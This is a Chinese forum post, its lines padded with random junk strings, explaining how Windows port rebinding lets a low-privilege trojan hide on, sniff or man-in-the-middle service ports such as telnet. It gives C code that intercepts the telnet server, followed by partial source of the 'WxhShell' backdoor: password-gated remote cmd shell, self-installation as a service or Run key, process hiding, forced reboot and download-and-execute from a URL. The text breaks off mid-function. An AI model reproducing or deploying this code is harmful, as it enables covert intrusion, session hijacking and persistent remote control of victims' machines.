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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .,|G7DGH]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +;(c:@>@,  
 twHVv  
  saddr.sin_family = AF_INET; 9IdA%RM~mH  
e{'BAj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2G & a{  
d=$Mim  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z!a =dnwHz  
`!3SF|x&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zgp4`)}:  
Tt`u:ZwhF  
  这意味着什么?意味着可以进行如下的攻击: #'nr Er <  
P+ 3G~Sr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。  L^/5ux  
e9Wa<i 8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hE'-is@7  
[: n'k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +5g_KS  
a_^\=&?'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xC?6v '  
]Grek<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B-Ll{k^  
s0TORl6Z|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :%_LpZ  
g{]0sn#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8rAg \H3E  
G/y5H;<9M  
  #include K e;E1S-~  
  #include "b~+;<}Q  
  #include r Xt}6[S  
  #include    g>E LGG |Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TM__I\+Q  
  int main() n$A9_cHF7  
  { imhwY#D  
  WORD wVersionRequested; <6%?OJhp  
  DWORD ret; 58}U^IW  
  WSADATA wsaData; 6IN e@  
  BOOL val; wQ:)KjhHH  
  SOCKADDR_IN saddr; p}}R-D&K  
  SOCKADDR_IN scaddr; x xHY+(m  
  int err; S1T"Z{$  
  SOCKET s; D=A&+6B@-  
  SOCKET sc; XAD- 'i  
  int caddsize; nSDMOyj+  
  HANDLE mt; m+`cS=-.  
  DWORD tid;   ch*8B(:  
  wVersionRequested = MAKEWORD( 2, 2 ); &@X<zWg  
  err = WSAStartup( wVersionRequested, &wsaData ); p%up)]?0  
  if ( err != 0 ) { Pa>AWOG'  
  printf("error!WSAStartup failed!\n"); \i>?q   
  return -1; Fk&c=V;SU  
  } o"s)eh  
  saddr.sin_family = AF_INET; W<h)HhyG  
   k&M;,e3v6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {r,.!;mHu  
]? c B:}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ye%~I`@?  
  saddr.sin_port = htons(23); ydEoC$?0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xWH.^o,"  
  { ?.m bK  
  printf("error!socket failed!\n"); rET\n(AJ  
  return -1; x;O[c3I  
  } M5 LfRBO  
  val = TRUE; 7(1|xYCx$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lf`{zc r:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (q/e1L-S  
  { do hA0  
  printf("error!setsockopt failed!\n"); #H&|*lr  
  return -1; xJpA0_xfG  
  } ;DQ ZT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  \{_q.;}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RT4x\&q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q_:4w$>  
w?PkO p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qab>|eSm  
  { Ve$o}h-  
  ret=GetLastError(); J'6PmPzY|  
  printf("error!bind failed!\n"); Xz 6<lLb  
  return -1; df8k7D;~e  
  } l ~"^7H?4e  
  listen(s,2); @-07F,'W,  
  while(1) olB.*#gA  
  { o+iiST JEe  
  caddsize = sizeof(scaddr); .D"m@~j7  
  //接受连接请求 ~Y[r`]X`"m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Df-DRi  
  if(sc!=INVALID_SOCKET) vQG5*pR*w  
  { @Rze| T.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5:[0z5Hww  
  if(mt==NULL) [C 7^r3w  
  { 88O8wJN  
  printf("Thread Creat Failed!\n"); ]"As1"  
  break; r.=K~A  
  } R{`(c/%8  
  } 6?gW-1mY  
  CloseHandle(mt); q4h]o^+  
  } C\3rJy(VJ  
  closesocket(s); FW;?s+Uyx  
  WSACleanup(); ] Jg&VXrH  
  return 0; 4HXo>0  
  }   :1Xz4wkWS*  
  DWORD WINAPI ClientThread(LPVOID lpParam) >0y'Rgfe  
  { v |,1[i{  
  SOCKET ss = (SOCKET)lpParam; _#E0g'3  
  SOCKET sc; {GT*ZU*  
  unsigned char buf[4096]; lWk>z; d  
  SOCKADDR_IN saddr; \##zR_%  
  long num; .bl/*s  
  DWORD val; |fJ};RLI"  
  DWORD ret; Jl8H|<g~/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m,_Z6=I:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    #4NaL  
  saddr.sin_family = AF_INET; edq4D53  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !RS}NS  
  saddr.sin_port = htons(23); 5X$jl;6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1p3z1_wrs  
  { V*;(kEqj  
  printf("error!socket failed!\n"); GT.,  
  return -1; ;6 D@A  
  } ea2ayT  
  val = 100; r EE1sy/#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wo{gG?B  
  { )gUR@V>e2  
  ret = GetLastError(); \fLMr\LL&  
  return -1; \A#41  
  } Q~]uC2Mw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F`W?II?  
  { :K,i\  
  ret = GetLastError(); T@B/xAq5!  
  return -1; /N10  
  } x_Y!5yg E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H [\o RId  
  { oG?Xk%7&\  
  printf("error!socket connect failed!\n"); 3BUSv#w{i  
  closesocket(sc); @+2=g WH  
  closesocket(ss); !X#OOqPr=  
  return -1; !;v|'I  
  } m4Qh%}9%  
  while(1) <8&au(I,vB  
  { X=&ET)8-Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `UyG_;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 '3tCH)s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1W LXM^ 4  
  num = recv(ss,buf,4096,0); !sP {gi#=  
  if(num>0) wH&!W~M  
  send(sc,buf,num,0); f|c{5$N!  
  else if(num==0) `wEb<H  
  break; 20h, ^  
  num = recv(sc,buf,4096,0); '3fu  
  if(num>0) g}{aZ$sta  
  send(ss,buf,num,0); RWZSQ~  
  else if(num==0) ;7V%#-  
  break; L|7R9+ZG  
  } c ( C%Hld  
  closesocket(ss); Z]Cq3~l  
  closesocket(sc); I-*S&SiXjI  
  return 0 ; #&aqKV Y  
  } 6,"Q=9k4[  
s~g *@K>+  
n5NsmVW\x  
========================================================== hd<c&7|G'  
g-bK|6?yz  
下边附上一个代码,,WXhSHELL 4N3R|  
!9r$e99R  
========================================================== $k%2J9O  
7(8;t o6(  
#include "stdafx.h" %s|Ely)  
E6ElNgL  
#include <stdio.h> cp7=epho  
#include <string.h> t\,PB{P:J  
#include <windows.h> m}t`FsB.  
#include <winsock2.h> WX?IYQ+  
#include <winsvc.h> k$R-#f;  
#include <urlmon.h> KwSqKI7]0  
HCs?iJ  
#pragma comment (lib, "Ws2_32.lib") $a"Oc   
#pragma comment (lib, "urlmon.lib") a~}OZ&PG  
$|@@Qk/T  
#define MAX_USER   100 // 最大客户端连接数 xF'EiX~  
#define BUF_SOCK   200 // sock buffer 24*XL,  
#define KEY_BUFF   255 // 输入 buffer Yujiqi]J;  
IueFx u  
#define REBOOT     0   // 重启 )23H1  
#define SHUTDOWN   1   // 关机 l'.VKh\C  
"(~^w=d:$  
#define DEF_PORT   5000 // 监听端口 <uw9DU7G  
7' V@+5  
#define REG_LEN     16   // 注册表键长度 ZDYJ\}=  
#define SVC_LEN     80   // NT服务名长度 >uhaW@d  
K`zdc`/  
// 从dll定义API m@v\(rT.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IK=a*}19L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |&)dh<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yk Ki|k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SsDmoEeB[  
c9 _ rmz8  
// wxhshell配置信息 qiBVG H  
struct WSCFG { :>f )g  
  int ws_port;         // 监听端口 @,7GaK\  
  char ws_passstr[REG_LEN]; // 口令 Ai?*s%8v  
  int ws_autoins;       // 安装标记, 1=yes 0=no 37.S\ gO]  
  char ws_regname[REG_LEN]; // 注册表键名 K;H&n1  
  char ws_svcname[REG_LEN]; // 服务名 f+)L#>Gl?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8^+%I/S$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qWPkT$ u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rcG"o\g@+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,m|h<faZL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'yEHI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LYK"(C  
{]@= ijjf  
}; YZ8>OwQz2  
[<yaXQxl  
// default Wxhshell configuration P{>!5|k  
struct WSCFG wscfg={DEF_PORT, >jLY"  
    "xuhuanlingzhe", O-hAFKx  
    1, L\"d  
    "Wxhshell",  |TH\`U  
    "Wxhshell", y/7\?qfTk  
            "WxhShell Service", xdt- ;w|  
    "Wrsky Windows CmdShell Service", Q\7h`d%)  
    "Please Input Your Password: ", Ie#Bkw'*  
  1, Jk n>S#SZ  
  "http://www.wrsky.com/wxhshell.exe", A]oV"`f  
  "Wxhshell.exe" "JV_2K_i  
    }; !F'YDjTot  
wc4{)qDE  
// 消息定义模块 By4<2u38u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rw JIx|(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s*]}QmRpr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KRRdXx\~  
char *msg_ws_ext="\n\rExit."; qqY"*uJ'  
char *msg_ws_end="\n\rQuit."; oAeUvmh  
char *msg_ws_boot="\n\rReboot..."; nMUw_7Y6  
char *msg_ws_poff="\n\rShutdown..."; Fk7')?  
char *msg_ws_down="\n\rSave to "; Am|%lj+1z  
aeM+ d`f  
char *msg_ws_err="\n\rErr!"; :tg)p+KB  
char *msg_ws_ok="\n\rOK!"; ?GR"FmB(  
ZKTz ,  
char ExeFile[MAX_PATH]; vXZOy%$o  
int nUser = 0; ;dgp+  
HANDLE handles[MAX_USER]; f46t9dxp$  
int OsIsNt; PKiy5D*8p  
Qe:seW  
SERVICE_STATUS       serviceStatus; CkQ3#L<2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _)m]_eS._  
0 /U{p,r6`  
// 函数声明 Kis"L(C  
int Install(void); 6O!2P  
int Uninstall(void); i<Zc"v;  
int DownloadFile(char *sURL, SOCKET wsh); VjZ|$k  
int Boot(int flag); Qpc__dA\  
void HideProc(void); }WXi$(@v  
int GetOsVer(void); 7;wd(8  
int Wxhshell(SOCKET wsl); . 3T3E X|G  
void TalkWithClient(void *cs); ( ^Nz9{  
int CmdShell(SOCKET sock); -x`@6  
int StartFromService(void); :*9Wh  
int StartWxhshell(LPSTR lpCmdLine); ;iL#7NG-R  
X\qNG]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fywv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hf2_0wA3  
RMu~l@  
// 数据结构和表定义 <R=Zs[9M1  
SERVICE_TABLE_ENTRY DispatchTable[] = lzVq1@B  
{ 1\2no{Vh  
{wscfg.ws_svcname, NTServiceMain}, >U27];}y  
{NULL, NULL} #c.K/&Gc7j  
}; 6mxfLlZ  
00~mOK;1  
// 自我安装 ~V1E0qdAE  
int Install(void) }N6.Uu 5zI  
{ ` 7V]y -  
  char svExeFile[MAX_PATH]; 56kI 5:  
  HKEY key; !wh8'X*  
  strcpy(svExeFile,ExeFile); ~U&AI1t+J  
[?N~s:}  
// 如果是win9x系统,修改注册表设为自启动 Cj lk  
if(!OsIsNt) { ~dTrf>R8M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x7<K<k;s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e8?jmN`2  
  RegCloseKey(key); l}A93jSL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M&9+6e'-F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HvJs1)Wo&  
  RegCloseKey(key); _ *Pf  
  return 0; r0% D58  
    } *#+An<iT ;  
  } z[qDkL  
} |#R7wnE[k~  
else { $Ri; ^pZw[  
_ZSR.w}j/  
// 如果是NT以上系统,安装为系统服务 wgGl[_)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y\g3h M  
if (schSCManager!=0) pG;U2wE  
{ \bvfEP  
  SC_HANDLE schService = CreateService U-tTW*[1]  
  ( 7a<DKB  
  schSCManager, Fd9 [pU  
  wscfg.ws_svcname, 0*{%=M  
  wscfg.ws_svcdisp, )|# sfHv7  
  SERVICE_ALL_ACCESS, k!'a,R:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,/|T-Ka  
  SERVICE_AUTO_START, m#\ dSl}  
  SERVICE_ERROR_NORMAL, {V CWn95Z  
  svExeFile, ]Gq !`O1  
  NULL, ml }{|Yz  
  NULL, A_q3KB!$=+  
  NULL, 3eQ&F~S  
  NULL, YNsJZnGr8#  
  NULL p>8D;#Hm L  
  ); 0{-q#/  
  if (schService!=0) NyNXP_8  
  { ' %o#q6O  
  CloseServiceHandle(schService); WX3-\Y5E  
  CloseServiceHandle(schSCManager); O)r4?<Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WOL:IZX%  
  strcat(svExeFile,wscfg.ws_svcname); sdw(R#GE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cTTL1SW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {kR#p %E]  
  RegCloseKey(key); > /caXvS  
  return 0; i?^L/b`H  
    } =U?dbSf1*  
  } z*% q@]ym  
  CloseServiceHandle(schSCManager); smo~7;  
} B \2 SH%\  
} onxLyx|A  
toC^LZgZ_6  
return 1; L) T (<  
} Qh\60f>0  
9InVQCf2J  
// 自我卸载 4^|3TntO  
int Uninstall(void) svH !1 b  
{ q^<?]8  
  HKEY key; II{&{S'HU  
.U]-j\  
if(!OsIsNt) { ^Xh^xL2cn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c'yxWZEv  
  RegDeleteValue(key,wscfg.ws_regname); C1 *v,i  
  RegCloseKey(key); r3UUlR/Do  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1/J=uH  
  RegDeleteValue(key,wscfg.ws_regname); 9~[Y-cpoi  
  RegCloseKey(key); kMN~Y  
  return 0; < h *4Q  
  } ER.}CM6{[  
} k@W1-D?  
} U&p${IcEm  
else { nb%6X82Q  
[MY|T<q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Z +=  
if (schSCManager!=0) =Jb>x#Y  
{ %n9aaoD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vUM4S26"NT  
  if (schService!=0) P+/e2Y  
  { C e$w8z  
  if(DeleteService(schService)!=0) { $1`2 kM5  
  CloseServiceHandle(schService); 1bX<$>x9u  
  CloseServiceHandle(schSCManager); l!u_"I8j5  
  return 0; g]0_5?i  
  } sd|).;s}  
  CloseServiceHandle(schService); r* Ca}Z  
  } +QJ#2~pE  
  CloseServiceHandle(schSCManager); eehb1L2(b  
} 5$C-9  
} T9   
U-M>=3|N  
return 1; +52{-a,>  
} -nV9:opD  
I b5rqU\  
// 从指定url下载文件 E~"y$Fqe  
int DownloadFile(char *sURL, SOCKET wsh) W7nw6;7=  
{ ZPYS$Ydy  
  HRESULT hr; tY4;F\e2|A  
char seps[]= "/"; ~Z' ?LV<t  
char *token; /mzlH  
char *file; i=2N;sAl  
char myURL[MAX_PATH]; R4:b{)=O  
char myFILE[MAX_PATH]; f ) L  
>~0Z& d  
strcpy(myURL,sURL); Mb*?5R6;  
  token=strtok(myURL,seps); aQ@oH#  
  while(token!=NULL) 92oFlEJ  
  { 8KzkB;=n  
    file=token; 13x p_j  
  token=strtok(NULL,seps); `VguQl_,gA  
  } b4N[)%@  
7B66]3v  
GetCurrentDirectory(MAX_PATH,myFILE); #o#H?Vo9b  
strcat(myFILE, "\\"); a9V,es"BWQ  
strcat(myFILE, file); R0*|Lo$6  
  send(wsh,myFILE,strlen(myFILE),0); X#^[<5  
send(wsh,"...",3,0); LZxNAua  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4BpZJ~(p  
  if(hr==S_OK) "f OV^B  
return 0; s!$a \k  
else :Zw2'IV  
return 1; AH~E)S  
R.<g3"Lm>  
} {E|$8)58i  
(TT}6j  
// 系统电源模块 .HABNPNg(  
int Boot(int flag) :gFx{*xN/9  
{ uW %#  
  HANDLE hToken; A|{(/G2*  
  TOKEN_PRIVILEGES tkp; (CWtLi"z  
\:LW(&[!  
  if(OsIsNt) { $6R-5oQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5]:U9ts#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j^RmrOg ,  
    tkp.PrivilegeCount = 1; NC6&x=!3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H3-hcx54T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [v!f<zSQK  
if(flag==REBOOT) { _7_Y={4=`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :?1Dko^  
  return 0; 8'y$M] e9n  
} 0?|<I{z2  
else { ")p\q:z6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z6MO^_m2  
  return 0; *MW\^PR?  
} >uEzw4w  
  } IO<6  
  else { S)"Jf?  
if(flag==REBOOT) { ,f?*{Q2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {(Es(Sb}c  
  return 0; k)TpnH! "  
} XfIJ4ZM5  
else { LCV(,lu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xne1gms  
  return 0; dft!lBN  
} !&@615Vtw  
} WcbiqxK7-  
-"9  
return 1; ;*2Cm'8E  
} }4X0epPp;:  
]7c=PC  
// win9x进程隐藏模块 rEz^  
void HideProc(void) :NTO03F7v  
{ +R75v)  
gf\oC> N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +R:(_:7  
  if ( hKernel != NULL ) 1s;S aq+  
  { &=mtc%mL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6j|{`Zd)G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j3ls3H&  
    FreeLibrary(hKernel); +:/%3}`  
  } -m#)B~)  
SUK?z!f <i  
return; gI|~|-'  
} =($xG#g`  
,|/f`Pl  
// 获取操作系统版本 cPQiUU~W@  
int GetOsVer(void) YtLt*Ig%  
{ 86a\+Kz%%L  
  OSVERSIONINFO winfo; W[r>.7>?h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '$+ogBS  
  GetVersionEx(&winfo); W\V.r$? v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sNFlKQ8)Q  
  return 1; $<[79al#  
  else 4s oJ.j8  
  return 0; *lJxH8\  
} J] r^W)O  
m.0*NW  
// 客户端句柄模块 u:  
int Wxhshell(SOCKET wsl) |k00Z+O(  
{ z\4.Gm-  
  SOCKET wsh; ;q>ah!"k  
  struct sockaddr_in client; <wHP2|<l*  
  DWORD myID; }Ou}+^Bc  
+LJ73 !  
  while(nUser<MAX_USER) bW+:C5'  
{ "d}Gp9+$VY  
  int nSize=sizeof(client); _,*r_D61S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )=(kBWM  
  if(wsh==INVALID_SOCKET) return 1; M869MDo  
*qpSXmOz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M)(DZ}  
if(handles[nUser]==0) -trkA'ewZ  
  closesocket(wsh); F((4U"   
else 0<*<$U  
  nUser++; Vi|#@tC'  
  } {Y1Ck5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tpx2 IE  
HjwE+:w  
  return 0; b7ZSPXV  
} NwfVL4Xg  
tO&^>&;5  
// 关闭 socket N6TH}~62}  
void CloseIt(SOCKET wsh) 86H+h (R/  
{ |5]X| v  
closesocket(wsh); cidP|ie^  
nUser--; f%8C!W]Dm  
ExitThread(0); "ocyK}l.?  
} zKK9r~ M  
HK% 7g  
// 客户端请求句柄 Pc]HP  
void TalkWithClient(void *cs) y<.5xq5_3  
{ ]I6  J7A[  
&xExyz~`  
  SOCKET wsh=(SOCKET)cs; A":T1s  
  char pwd[SVC_LEN]; @PIp* [7oC  
  char cmd[KEY_BUFF]; 8xMX  
char chr[1]; c+GG\:gM  
int i,j; 6wg^FD_Q  
f?)-}\[IR{  
  while (nUser < MAX_USER) { @E8+C8'  
HE\K@3-  
if(wscfg.ws_passstr) { [_:nHZb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )YI(/*+]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A?0Nm{O;3v  
  //ZeroMemory(pwd,KEY_BUFF); O33 `+UV"W  
      i=0; ^kSqsT"  
  while(i<SVC_LEN) { 0IWf!Sk ]  
Gp\ kU:}&  
  // 设置超时 4{Z)8;QX  
  fd_set FdRead; |V7*l1  
  struct timeval TimeOut; 4b`=>X;W  
  FD_ZERO(&FdRead); .eC1qWZJpd  
  FD_SET(wsh,&FdRead); UL9n-M =  
  TimeOut.tv_sec=8; [.}oyz; }N  
  TimeOut.tv_usec=0; ;O #>Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T6kdS]4-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]K%!@O!  
]JR +ayk7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M'l ;:  
  pwd=chr[0]; OB}Ib]  
  if(chr[0]==0xd || chr[0]==0xa) { bQ5\ ]5M  
  pwd=0; Ht&Y C<X  
  break; &>}5jC.I  
  } I*^Ta{j[  
  i++; -DAlRz#d,  
    } 9Gz=lc[!7  
=?`c=z3~i$  
  // 如果是非法用户,关闭 socket i{qgn%#}Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x$(f7?s] 1  
} 8a"%0d#  
xe$_aBU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ft Wv~Eh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EB|}fz  
S5EK~#-L[  
while(1) { ?Ss!e$jf  
]J]h#ZHx  
  ZeroMemory(cmd,KEY_BUFF); PmM3]xVzd  
2b8L\$1q  
      // 自动支持客户端 telnet标准   Jfl!#UAD|n  
  j=0; +qdEq_ m  
  while(j<KEY_BUFF) { 3T0"" !Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j_ 7mNIr  
  cmd[j]=chr[0]; 3irl (;v  
  if(chr[0]==0xa || chr[0]==0xd) { '/%H3A#L  
  cmd[j]=0; {+b7sA3  
  break; k~z Iy;AZ  
  } g#E-pdY  
  j++; pI<f) r  
    } l}M!8:UzU  
1yY0dOoLG)  
  // 下载文件 Srd4))2/0  
  if(strstr(cmd,"http://")) { is@?VklnB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Jnlz@P9  
  if(DownloadFile(cmd,wsh)) E&:,oG2M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ZR9GlIr  
  else \z} Ic%Tp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8ZF"{y  
  } q- d:TMkc  
  else { Y`wSv NU  
7E!5G2XX~~  
    switch(cmd[0]) { sW8dPw O  
  "tpSg  
  // 帮助 UJ6v(:z <  
  case '?': { T^]}Oy@e,J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nmh*EAJSy  
    break; B4 }bVjs  
  } he hFEyx  
  // 安装 ^T-V ^^#(  
  case 'i': { R0-j5&^jju  
    if(Install()) lU8Hd|@-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5n'=doR/I  
    else a7%]Y}$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |]*/R^1>2  
    break; ;i+#fQO7Q  
    } 8DaL,bi*.  
  // 卸载 ^sWT:BDh  
  case 'r': { o2\8OxcA  
    if(Uninstall()) R@rBEW&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d m%8K6|  
    else ;i:d+!3XwC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QkC(uS  
    break; q'MZ R'<@  
    } ;gr9/Vl  
  // 显示 wxhshell 所在路径 II x#2r  
  case 'p': { uY'HT|@:{  
    char svExeFile[MAX_PATH]; ^K@C"j?M/  
    strcpy(svExeFile,"\n\r"); ` sU/&  P  
      strcat(svExeFile,ExeFile); ,$&&-p I]  
        send(wsh,svExeFile,strlen(svExeFile),0); @Do= k  
    break; ;sFF+^~L  
    } [j'X;tVX{  
  // 重启 c~ V*:$F  
  case 'b': { $PHvA6D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .#pU=v#/[  
    if(Boot(REBOOT)) UW EV^ &"x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t\ewHZG"  
    else { VY\&8n}e(  
    closesocket(wsh); SasJic2M  
    ExitThread(0); )53y AyP  
    } Xla~Yg  
    break; 65^9  
    } _:27]K:  
